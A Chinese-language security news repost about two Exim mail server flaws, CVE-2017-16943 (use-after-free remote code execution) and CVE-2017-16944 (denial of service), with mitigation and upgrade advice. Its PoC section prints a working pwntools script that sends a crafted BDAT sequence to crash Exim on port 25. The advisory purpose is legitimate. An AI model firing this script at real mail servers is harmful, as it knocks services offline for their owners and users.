开源邮件代理服务Exim被爆RCE和DoS漏洞,建议赶紧升级!

www.dbsec.cn · · 3981 次点击 · · 开始浏览    
这是一个创建于 的文章,其中的信息可能已经有所发展或是发生改变。

影响范围
4.88和4.89

开源邮件传输代理Exim简介

Exim是由剑桥大学Philip Hazel开发的邮件传输代理,负责邮件的路由,转发和投递。它可运行在绝大多数的类Unix系统上,包括Solaris、AIX、Linux、macOS等。相比其他MTA,Exim配置更灵活,支持String Expansion技术,能执行诸如条件判断,字符转换等功能。

Exim漏洞提交至BugTracker

一名安全研究员发现并公开披露了流行互联网邮件信息传输代理Exim中的两个紧急漏洞,其中一个能导致远程攻击者在目标服务器上执行恶意代码。

最开始漏洞是由Phil Ponnock在黑五(11月25日)没有任何预告发布在这里的,提交到了该项目的BugTracker。

漏洞详情

第一个漏洞是使用后释放漏洞CVE-2017-16943,通过构造一个BDAT命令序列就可被用于在SMTP服务器中远程执行任意代码。研究人员还公布了用Python编写的PoC利用代码,任何人均可在易受攻击的Exim服务器中执行代码。
第二个漏洞是一个DoS漏洞,CVE-2017-16944,可导致远程攻击者在连接关闭的情况下通过强制其在不崩溃的情况下无限循环地运行将Exim服务器挂起。这个漏洞产生的原因是在解析BDAT数据头时未正确检查表示邮件结束的 ‘.’字符。研究人员还提供了PoC利用代码,导致Exim服务器耗尽栈并崩溃。

PoC

此为可造成Exim崩溃的PoC,封面图中包含另一个漏洞PoC

# pip install pwntools
from pwn import *
r = remote('localhost', 25)
r.recvline()
r.sendline("EHLO test")
r.recvuntil("250 HELP")
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
r.sendline("RCPT TO:<test@localhost>")
r.recvline()
#raw_input()
r.sendline('a'*0x1100+'x7f')
#raw_input()
r.recvuntil('command')
r.sendline('BDAT 1')
r.sendline(':BDAT x7f')
s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8)
r.send(s+ ':rn')
r.recvuntil('command')
#raw_input()
r.send('n')
r.interactive()
exit()

Exim服务分布

在fofa.so上搜索”exim”发现使用exim服务的服务器数量挺多的,但大部分的exim服务集中在美国。

临时缓解措施

根据漏洞提交者在BugTracker中的说明,需要在Exim的配置文件中,加上

chunking_advertise_hosts=

也就是将chunking_advertise_hosts 的值设置为空,这样可以禁用ESMTP CHUNKING 扩展,使BDAT 不可用,从而避免被攻击者利用。

用户应尽快更新至4.90版本

Exim更新并不是非常多,上一个版本4.88刚刚修复了去年年底的CVE-2016-9963漏洞,而目前的两个漏洞则影响4.88和新版本4.89。为了保证安全,建议用户及时更新至在GitHub上发布的Exim 4.90版本。目前Exim官网并不能下载修复了漏洞的4.90版本。

本文来自安全客,原文地址:https://www.anquanke.com/post/id/87337

翻译自:thehackernews.com


有疑问加站长微信联系(非本文作者)

本文来自:www.dbsec.cn

感谢作者:www.dbsec.cn

查看原文:开源邮件代理服务Exim被爆RCE和DoS漏洞,建议赶紧升级!

入群交流(和以上内容无关):加入Go大咖交流群,或添加微信:liuxiaoyan-s 备注:入群;或加QQ群:692541889

3981 次点击  
加入收藏 微博
添加一条新回复 (您需要 登录 后才能回复 没有账号 ?)
  • 请尽量让自己的回复能够对别人有帮助
  • 支持 Markdown 格式, **粗体**、~~删除线~~、`单行代码`
  • 支持 @ 本站用户;支持表情(输入 : 提示),见 Emoji cheat sheet
  • 图片支持拖拽、截图粘贴等方式上传